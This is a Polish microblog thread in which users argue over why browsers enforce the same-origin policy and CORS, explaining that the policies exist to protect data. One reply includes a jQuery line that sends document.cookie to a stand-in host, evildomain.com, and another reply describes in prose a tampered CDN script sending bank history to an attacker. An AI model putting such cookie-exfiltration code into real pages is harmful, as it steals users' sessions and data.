Wpis z mikrobloga

@look997: Ani trochę. Czy zdajesz sobie sprawę w jakim celu to w ogóle jest? Jest po to, żebym głupim, kilkulinijkowym skryptem nie mógł kraść ci cookies. Poza tym jest coś takiego jak CORS.
  • Odpowiedz
Może inaczej. Wiem po co to jest, ale jednocześnie strasznie przeszkadza w normalnym użytkowaniu aplikacji webowych. Przykłady są zbędne.
@ogur:
@Ginden: Jeśli tego również dotyczy SOP to nie, tego nie chcę ale to da się oddzielić akurat, gorzej jakbym używał twojego kodu wewnątrz swojej strony ale też nie o to mi chodzi tylko o plik JSON pobierany przez XHR.
@Marmite: CORS działa, jeśli serwer na to pozwala. ;( Czy to blokowanie po strony serwera ma jakiś sens? Bo jakby nie wiele ma to wspólnego z SOP.
@mala_slodka_eklerka: W
  • Odpowiedz
Nie da się a co to szkodzi? Taki plik nie jest żadnym realnym zagrożeniem

@look997: Taaaa? A co jeśli zrobiłbym coś takiego:

$.ajax('[http://evildomain.com/safefile.json?oopsThisIsPrettyUnsafe=](http://evildomain.com/safefile.json?oopsThisIsPrettyUnsafe=) '+encodeURIComponent(document.cookie))
Serwer zwraca JSON, ale przy okazji dostaje całe cookies w ścieżce. Sorry, SOP jest potrzebne. Wektorów ataku jest mnóstwo.
  • Odpowiedz
Prosta sprawa: pobranie pliku JSON przez XHR. Nie da się a co to szkodzi? Taki plik nie jest żadnym realnym zagrożeniem.

@look997: Jest. Wyobraź sobie, że bank ma swoją stronę na Angularze czy Emberze, a dane o rachunku są w pliku JSON.
  • Odpowiedz
Ja tylko zaznaczę, że się nie znam. Nauczcie mnie. Pierwszy post zdecydowanie przesadzony ale nadal jest dziwna sytuacja gdzie nie można tego robić a w dowolnej aplikacji serwerowej i desktop-owej można takie coś robić i już. Żadnych przeszkód. A w webowej nie bo coś tam.
  • Odpowiedz
I jakie jeszcze są zagrożenia?

@look997: Możesz odczytać dowolną informację ze strony i przesłać ją na dowolny serwer. Wyobraź sobie że włamuję się do popularnego CDN-a, z którego korzysta twój bank, i do pliku z frameworkiem doklejam bardzo króciutki fragment kodu, który uaktywnia się na stronie z historią płatności, odczytuje ją i wraz z twoimi danymi wysyła do mnie.
  • Odpowiedz
@Marmite Jeśli w desktopie i serwerze są wystarczające zabezpieczenia bez SOP to może za wzorować się takimi desktopowymi i serwerowymi aplikacjami a nie tworzyć SOP (oczywiście zostawić to co rzeczywiście niezbędne)?
Muszę to na spokojnie zanalizować a wy powiedzcie ,czy tak się da?
  • Odpowiedz
Pierwszy post zdecydowanie przesadzony ale nadal jest dziwna sytuacja gdzie nie można tego robić a w dowolnej aplikacji serwerowej i desktop-owej można takie coś robić i już.

@look997: Akurat XHR "bez cookies" są dość bezpiecznym pomysłem, tak przynajmniej mi się wydaje i myślę, że mogłyby zastąpić wiele JSONP.
@Marmite: Przykład z CDNem jest zły, bo wtedy możesz dodać kod przelewający złoto na Twoje konto. :P
  • Odpowiedz
@Ginden: No nie wiem, a co z odczytywaniem informacji ze strony i wysyłaniem ich dalej? Nie jest to może zawsze niebezpieczne, ale zapewne czasem niepożądane (vide mój przykład dwa posty wyżej)
  • Odpowiedz
@Ginden: No to kombinujmy, żeby takie coś zrealizować, bo aktualnie oddolnie się nie da tego zrobić, trzeba zaangażować twórców przeglądarek.

Dodatkowe pytanie: Czy blokada następuje po stronie przeglądarki, bo jest sytuacja, gdzie używam CORS i taki skrypt i tak jest blokowany. W konsoli pisze, że trzeba skonfigurować odpowiednio serwer. Ale Czy to serwer coś blokuje, czy p prostu przeglądarka nie przyjmuje pliku z serwera, który nie zwraca jakiejś flagi czy
  • Odpowiedz
@Marmite: @look997: OK, znalazłem wytłumaczenie.

It needs to be an opt-in mechanism to prevent leaking data from resources behind a firewall (intranets). Additionally, for credentialed HTTP requests it needs to be opt-in to prevent leaking potentially-sensitive data.

Ale brzmi coś jak "w zapytaniach HTTP nie możesz wysyłać znaków ", ` i ', bo można je wykorzystać do SQL Injection".
  • Odpowiedz
@look997: @Ginden:
Blokada jest po stronie przeglądarki.

Chodzi o to, żebyś po wejściu na stronę jakiegoś mirka nie pobrało Ci historii z banku.
Czyli bank ustawia CORS tylko na swoje domeny. Mirek napisał skrypt, który próbuje pobrać dane z bank.pl/history
Przeglądarka DOSTAJE dane z banku, tylko że w nagłówku widzi "CORS: bank.pl, bank.com.pl" i nie daje dostępu
  • Odpowiedz